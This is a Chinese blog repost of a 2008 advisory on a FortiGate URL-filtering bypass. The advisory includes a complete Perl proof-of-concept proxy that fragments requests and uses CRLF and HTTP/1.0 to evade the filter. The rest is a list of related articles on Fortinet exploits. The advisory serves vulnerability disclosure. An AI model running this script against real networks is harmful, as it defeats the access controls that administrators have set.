Fortinet FortiGate CRLF字符URL过滤绕过漏洞

从实战到绕过:CRLF注入与WAF的攻防博弈 本文深入探讨了CRLF注入漏洞的本质、危害及与WAF的攻防博弈。通过实战案例,详细解析了CRLF注入的漏洞利用技巧,包括编码变形、位置魔法和协议特性利用等绕过WAF的方法。同时,文章揭示了WAF防护机制的局限性,并提供了从开发到运维的全面防御建议,帮助安全人员有效应对CRLF注入威胁。 阅读详情

发布时间:2008-1-16 15:15:03
文章作者:ADLab
文章来源:启明星辰

 

BUGTRAQ ID: 27276
CNCAN ID:CNCAN-2008011605

漏洞消息时间:2008-01-14

漏洞起因
设计错误

影响系统
Fortinet FortiGate-1000 3.00

不受影响系统

危害
远程攻击者可以利用漏洞绕过设备的URL过滤,访问受限制资源。

攻击所需条件
攻击者必须访问Fortinet FortiGate。

漏洞信息
Fortinet FortiGate是一款防火墙解决方案。
Fortinet FortiGate过滤CRLF字符存在问题,远程攻击者可以利用漏洞绕过设备的URL过滤,访问受限制资源。
通过发送CRLF字符代替LF字符,更改HTTP版本到1.0,并不发送Host:头字段数据,对GET或POST请求进行分片的特殊构建的HTTP请求,可绕过Fortinet FortiGate的URL过滤限制,访问受限资源。

测试方法
#!/usr/bin/perl
########################################
# fortiGuard.pl v0.1 - http://www.macula-group.com/
#
# # URL Filtering Bypass proof of concept
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some
minnor modifications from sinhack code)
# Based on PoC from sinhack research labs -> sakeru.pl
#
#FortiGuard's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that are terminated by the CRLF
character
#instead of the LF characters and changing version of HTTP to 1.0
without sending Host: Header and Fragmenting the GET and POST Requests
#
#Tested On: fortiGate-1000 3.00, build 040075,070111
#
#This code has been released Only for educational purposes. The author
cannot be held responsible for any bad use.
# Usage:
# 1) perl fortiGuard.pl
# 2) Configure your browser's proxy at localhost:5050
# 3) Have fun.
# --- Start Of Script---
use strict;
use URI;
use IO::Socket;
my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;
my $server = IO::Socket::INET->new ( #Proxy Configuration
   LocalPort => 5050, #Change the listening port here
   Type => SOCK_STREAM,
   Reuse => 1,
   Listen => 10);
binmode $server;
print "Waiting for connections on port 5050 TCP...\n";
while (my $browser = $server->accept()) { #When a connection occure...
   binmode $browser;
   my $method="";
   my $content_length = 0;
   my $content = 0;
   my $accu_content_length = 0;
   my $host;
   my $hostAddr;
   my $httpVer;
   my $line;
   while (my $browser_line = <$browser>) { #Get the Browser commands
      unless ($method) {
        ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)
+(\S+) +(\S+)/;

        my $uri = URI->new($hostAddr);

        $host = IO::Socket::INET->new ( #Opening the connexion to the
remote host
          PeerAddr=> $uri->host,
          PeerPort=> $uri->port ) or die "couldn't open $hostAddr";


        if ($showOpenedSockets) { #Connection logs
           #print "Source:".$browser->peerhost."\n";
           my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime(time);
           $year += 1900;
           $mon += 1;
           printf ("\n%04d-%02d-%02d %02d:%02d:%02d
",$year,$mon,$mday,$hour,$min,$sec);
           print $browser->peerhost." -> ".$uri->host.":".$uri->port."
$method ".$uri->path_query."\n";;
        }

        binmode $host;
        my $char;
        if ($method == "GET") { #Fragmention the "GET" query
           foreach $char ('G','E','T',' ') { #I know, there is better
way to do it,
              print $host $char; #but I'm tired and lazy...
           }
        } elsif ($method == "POST") { #Fragmentation of "POST" query
           foreach $char ('P','O','S','T',' ') {
              print $host $char;
           }
        } else {
           print $host "$method "; #For all the other methods, send
them without modif
           print "*";
        }
        $httpVer="HTTP/1.0"; #Forzando a version 1.0
        print $host $uri->path_query . " $httpVer\r\n"; #Send the rest
of the query (url and http version)
        #next;
      }

      $content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
      $accu_content_length+=length $browser_line;

      foreach $line (split('\n', $browser_line)) { #Fragment the Host query
        if ($line =~ /^Host:/ ) {
                  #my $char="";
                   #my $word="";
                   #my $bogus="";
                   #($bogus,$word) = split(' ', $line);
                   #foreach $char ('H','o','s','t',':',' ') {
                   #print $host $char;
                   #}
                   #print $host $word."\r\n";

        } else {
           print $host "$line\r\n"; #For all the other lines, send
them without modif
        }

        if ( $debugging == 1 && $method == "POST" ) {
           print "$line\n";
        }
      }
      #Danux Clave para terminar el Request y enviarlo al servidor
web, de otra forma se queda esperando este ultimo la peticion
      print $host "\r\n";


      last if $browser_line =~ /^\s*$/ and $method ne 'POST';
      if ($browser_line =~ /^\s*$/ and $method eq "POST") {
         $content = 1;
         last unless $content_length;
         next;
      }
      #print length $browser_line . " - ";
      if ($content) {
         $accu_content_length+=length $browser_line;
         last if $accu_content_length >= $content_length;
      }
   }

   $content_length = 0;
   $content = 0;
   $accu_content_length = 0;

   my $crcount=0;
   my $totalcounter=0;
   my $packetcount=0;

   while ( my $host_line = <$host> ) { #Reception of the result from the server

      $totalcounter+=length $host_line;
      print $browser $host_line; #Send them back to the browser
      #print $host_line if ( ! $content ); #Send them back to the browser
      if ($host_line=~/Content-length: +(\d+)/i) {
       $content_length = $1;
       #print " * Expecting $content_length\n"; #if ($debugging);
      }
      if ($host_line =~ m/^\s*$/ and not $content) {
           $content = 1;
           #print " * Beginning of the data section\n";
      }
      if ($content) {
       #$accu_content_length+=length $host_line;
       if ($content_length) {
          #print " * binary data section\n";
          my $buffer;
          my $buffersize = 512;
          if ($content_length < $buffersize) { $buffersize = $content_length; }
          while ( my $nbread = read($host, $buffer, $buffersize)) {
              print "#";
             $packetcount++;
              $accu_content_length+=$nbread;
              #last if $accu_content_length >= $content_length;
              print $browser $buffer; #Send them back to the browser
              #print $buffer;
              #print "\n(#$packetcount) ";
              #print "total: $totalcounter content_length:
$content_length acc: $accu_content_length\t";
              my $tmp1 = $content_length - $accu_content_length;
              #print "length-accu= $tmp1\n";

              if ($tmp1 < $buffersize) {
               $buffersize = $tmp1;
               #print "new buffersize = $buffersize\n";
              }
           }
           #print "Out of the content while\n";
        }
      }

      #print "(#$packetcount) ";
      #print "total: $totalcounter content_length: $content_length
acc: $accu_content_length\t";
      #my $tmp1 = $content_length - $accu_content_length;
      #print "length-accu= $tmp1\n";
      last if ($accu_content_length >= $content_length and $content ==
1 and $content_length);
   }
   #print "\nOut for a while\n";


   if ($browser) { $browser -> close; } #Closing connection to the browser
   if ($host) { $host -> close; } #Closion connection to the server

}

# --- EOF ---

厂商解决方案
目前没有解决方案提供:
http://www.fortinetfirewall.com/index.php

漏洞提供者
H. Daniel Regalado Arias

漏洞消息链接
http://lists.immunitysec.com/pipermail/dailydave/2008-January/004814.html

漏洞消息标题
[Dailydave] FortiGuard: URL Filtering Application Bypass Vulnerability

文章来源:http://www.venustech.com.cn/
网络靶场实战--飞塔(Fortinet)防火墙认证绕过漏洞(CVE-2022-40684) 我们这一小节简单了解了身份认证绕过流程,分析并复现了fortigate防火墙身份认证绕过漏洞的形成过程以及如何利用。蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。 阅读详情

相关推荐

CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞

FortiSwitchManager产品的管理界面中,可以通过使用备用路径或通道绕过身份验证,并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

江左盟的博客 7433

CSRF   花式绕过Referer技巧

做项目遇到Referer绕过的情况 有同事问起 这几天不是很忙 就把自己知道的方法记录下。有条件限制 不一定所有的Refere验证就可以绕过1.Refere为空条件下解决方案: 利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的...

weixin_34266504的博客 660

CN黑客利用Fortinet的零日漏洞进行网络间谍攻击

或者,在实施互联网访问限制的FortiManager设备上,威胁行为者据说已经从与CASTLETAP妥协的FortiGate防火墙转向,在网络管理系统上删除名为REPTILE(“/bin/klogd”)的反向shell后门,以重新获得访问权限。根据Rapid7的数据,威胁行为者开发和部署漏洞的速度比以往任何时候都快,在公开披露后的七天内,多达28个漏洞被利用,比2021年增长12%,比2020年增长87%。他们操纵防火墙固件和利用零日漏洞的能力表明,他们对此类技术有更深层次的理解。

lavin1614 941

CRLF、CSRF、SSRF 攻击与利用

本文叙述了 crlf、csrf 和 ssrf 的原理、攻击利用和一些绕过方法,作为个人笔记,内容可能不全面,日后有接触新的方法会更新。

liuhyusb的博客 422

CRLF、CSRF、SSRF攻击与利用

前言 本文叙述了crlf、csrf和ssrf的原理、攻击利用和一些绕过方法,作为个人笔记,内容可能不全面,日后有接触新的方法会更新。 CRLF 原理 这个漏洞名词来源于打印机,在计算机中表示一行的结束: 回车=CR=\r=%0d=Ascii(13)=Ascii_16(0D) 换行=LF=\n=%0aAscii(10)=Ascii_16(0A) 在不同操作系统中表示行结束的方法也不相同: Windows:CRLF Linux/Unix:LF Mac:老版本用CR,新版用LF 在http头的规范中是以C

kali_Ma的博客 1289

CVE-2022-40684 Fortinet多个产品身份验证绕过漏洞复现

Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。FortiProxy 为网站和基于云的应用程序提供安全 Web 网关、安全功能、无与伦比的性能以及最佳用户体验。

热爱学习,喜欢折腾! 2181

CRLF注入漏洞

原理 CRLF是“回车+换行”(\r\n)的简称,在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。 相比于XSS来说,CRLF的危害更大。对于HRS最简单的利用方式就是注入两个\r\n,之后再写入X

weixin_43749601的博客 572

华为Watch的ECG功能技术分析

华为Watch的ECG(心电图)功能通过硬件传感器、算法优化和医疗认证的结合,实现了对心脏电活动的监测和房颤(AFib)等心律失常的预警。采用医疗级ECG模拟前端芯片(AFE),如TI(德州仪器)的ADS1292R等,支持低噪声、高采样率(通常≥200Hz)。结合PPG(光学心率)数据交叉验证,提高检测可靠性(如ECG和PPG心率不一致时触发警告)。通过RR间期变异性判断心律是否规则,识别房颤(AFib)的典型特征(如不规则不规则心律)。结合加速度计数据,识别手臂运动导致的信号失真,动态调整算法参数。

xu_wenming的博客 6438

URL跳转漏洞学习总结

相关背景 现在web应用越来越多的需要和其他第三方应用交互,以及在自身应用内部根据不同的逻辑引向不同的页面。例如一个典型的场景就是:web站点可以使用第三方账号(如qq,微博等)进行登录,在登录时就会发生跳转,如果在这个过程中没有做好安全策略就会产生安全漏洞。例如可以利用恶意的URL跳转进行钓鱼等。 URL重定向(301/302) 301重定向:当域名或者网址永久弃用后,为了方便可以将此域名或网...

weixin_45116657的博客 5978

SEG-Y 数据介绍及读写

无

1万+

Echarts之风力风速玫瑰图

风力风速玫瑰图前言改进之路代码如下总结导出与导入 前言 今天上班收到任务,我们老大让我研究一下这个“风速风向玫瑰图”,还说这个是百度的雷达图的变异体,于是乎我直接找的雷达图,但是雷达图没有这种柱形的,都是点线,然后我又找了好久,最后突然在echarts官网上面看到了图1-2,才终于有了思路,原来这个图不是雷达图的变异体,而是极坐标系下的堆叠柱状图,于是就开始我的“改进”之路了。 图1-1 改进之路...

qq_38776605的博客 1万+

漏洞预警丨Fortinet FortiOS & FortiProxy越界写入漏洞(CVE-2024-21762)

Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。在SSL VPN组件中存在越界写入漏洞,可能导致未经身份验证的远程威胁者通过特制HTTP请求执行任意命令或代码。daydaypoc漏洞平台于2024年3月12日已收录该漏洞。越界写入/远程命令执行。

C20220511的博客 2303

truetime2.0使用说明

truetime2.0使用说明1.1 truetime2.0工具箱的下载与安装1.2 truetime2.0工具箱的配置1.3 truetime2.0各模块的说明 注意,以下出现的地址本电脑MATLAB安装路径,请注意自己的MATLAB安装路径 1.1 truetime2.0工具箱的下载与安装 步骤1)没有工具箱的朋友可以 在可以在这个网站上免费申请下载http://www.control.lth.se/truetime/,里面有最新的版本。我用的是TrueTime 2.0 beta 1 步骤2)将

小六@sll 浊酒一杯 畅谈三千 清茶一壶 念游四海 4202

最新系统漏洞--Fortinet FortiGate跨站脚本漏洞

最新系统漏洞2021年10月22日 受影响系统: Fortinet FortiGate <= 6.4.1 Fortinet FortiGate 6.2.2 <= Version <= 6.2.5 描述: CVE(CAN) ID: CVE-2020-15937 Fortinet FortiGate是美国飞塔(Fortinet)公司的一套网络安全平台。该平台提供防火墙、防病毒和入侵防御(IPS)、应用控制、反垃圾邮件、无线控制器和广域网加速等功能。 FortiGate 6.2.2-6.2.5版

weixin_48555088的博客 1515

Megatron单机多卡Qwen2.5:pre-train+sft

英伟达:https://github.com/NVIDIA/Megatron-LM/releases/tag/core_r0.8.0阿里:https://github.com/alibaba/Pai-Megatron-Patch/releases/tag/v0.10.2。

weixin_46873015的博客 2178

UG NX二次开发(C#)-建模-获取圆柱面信息(轴向、半径、深度)

获取圆柱面的信息前言一、在UG NX中面的类型有哪些?二、获取圆柱面信息的函数1.获取半径和轴向2、计算圆柱面的深度值3、测试用例总结 文章目录前言一、在UG NX中面的类型有哪些?二、获取圆柱面信息的函数1.获取半径和轴向2、计算圆柱面的深度值3、测试用例总结 前言 在一个项目中,需要遍历曲面,获得所有的圆柱面和圆柱面的信息,包括轴向、半径和圆柱面的深度。经过研究,采用uFModl.AskFaceData(face.Tag, out faceTypeInt, point, dir, box, out

GimiGimmy 4145

超过三分之二的FortiGate防火墙仍存在风险

能力开发主管Caleb Gross解释说:“我们的漏洞破坏了堆,连接回攻击者控制的服务器,下载BusyBox二进制文件,并打开一个交互式shell。这是进行修补的充分理由,然而,漏洞代码的存在以及这些安全设备通常位于外围的事实需要立即引起注意。虽然有相当数量的安装运行的是最新版本FortiOS 7,但仍有一些设备运行的是旧版本,尤其是已经寿终正终的版本5。Gross认为,为了准确识别易受攻击的设备,更有效的方法是搜索返回特定HTTP响应头的服务器,然后根据重定向到特定路径的设备进一步过滤结果。

kafankeji的博客 308

【AUTOSAR-COM】-5.2-“Deadline Monitoring超时监控”-2-基于IPdu实现

目录 1 在CFG中配置Deadline Monitoring超时监控 1.1 参数说明 1.2 生成代码差异 2 通过一段测试代码看Deadline Monitoring超时监控 3 使用CAN盒观察Deadline Monitoring实际测试效果 3.1 Case 1:ECU开始工作时,没有收到Frame 3.2 Case 2:ECU工作中,接收的Frame丢失、 4 小结 5 结尾 关键字: DM=Deadline Monitoring超时监控 ComFirstTime...

「汽车电子助手」的博客 1788

Fortinet 修复 Fortigate SSL-VPN 设备中严重的 RCE 漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士Fortinet 发布新的 Fortigate 固件更新,修复了一个位于 SSL VPN设备中未披露的严重的预认证远程代码执行漏洞。该修复方案在上周五 FortiOS 固件版本6.0.17、6.2.15、6.4.13、7.0.12和7.2.5中发布。虽然发布公告中并未提及,但安全专业人员和管理人员提到,这些更新悄悄地修复了一个将在6月13日披露的...

smellycat000的专栏 1490

0基础学习diffusion_model扩散模型【易理解的公式推导】Denoising Diffusion Probabilistic Models

去噪扩散概率模型。本文是笔者在学习扩散模型时的一些笔记与心得,在公式推导过程中能够保证自己是一步一步去推导并且理解了的。概述是我认为比较重要的部分能够帮助理解公式的推导,具体的公式推导在每一小节中进行。1、扩散过程:如上图所示,扩散过程为从右到左X0→XTX0​→XT​的过程,表示对图片逐渐加噪,且Xt1X_{t+1}Xt1​是在XtX_{t}Xt​加躁得到的,其只受XtX_{t}Xt​的影响,因此扩散过程是一个马尔科夫过程。X0X_0。

zik的博客 2397

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

紧急警告:新0day漏洞被用于攻击暴露接口的防火墙,从零基础到精通,收藏这篇就够了!

该零日漏洞被命名为CVE - 2024 - 55591,CVSS评分为9.6,属于身份验证绕过漏洞。攻击者可通过精心构造的请求,利用Node.js WebSocket模块,绕过身份验证并获取超级管理员权限。受影响的设备固件版本范围为FortiOS 7.0.0至7.0.16,以及FortiProxy 7.0.0至7.0.19和7.2.0至7.2.12。

leah126的博客 1684

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

超过三分之二的 FortiGate 防火墙仍面临风险

Bishop Fox 表示,需要注意的是,根据 Bishop Fox 的说法,之前仅基于 SSL 证书估计 250,000 个暴露的 FortiGate 防火墙的报告可能无法准确反映易受攻击设备的实际数量。为了准确识别易受攻击的设备,Gross说,一种更有效的方法包括搜索返回特定HTTP响应标头的服务器,然后根据重定向到特定路径的设备进一步过滤结果。“这 [...]研究结果强调,设备和嵌入式设备的风险与传统计算设备具有相同的安全风险,但升级的痛苦更大,“格罗斯补充说,在互联网连接设备的搜索引擎。

weixin_56154577的博客 279

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

FortiGate7.4.0 CVE-2024-23113漏洞复现与分析笔记

给予调试启发以及固件文件提取启发的参考地址。

weixin_51339377的博客 4433

「安全狗漏洞通告」Fortinet SSL VPN远程代码执行漏洞解决方案

安全狗应急响应中心监测到,Fortinet发布了FortiOS SSL-VPN的风险通告,漏洞等级:高危,漏洞评分:9.3。漏洞编号:CVE-2022-42475。

bocco的博客 1966

CRLF注入(HTTP响应拆分-截断),【架构师必备】

所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

2401_83974370的博客 1218

渗透测试-crlf注入原理

渗透测试-crlf注入原理

lza20001103的博客 3016
上一篇: IOS展示音量警告框
下一篇: Fortinet FortiWeb Web Application Firewall Policy Bypass
hack8
博客等级 码龄18年 109粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值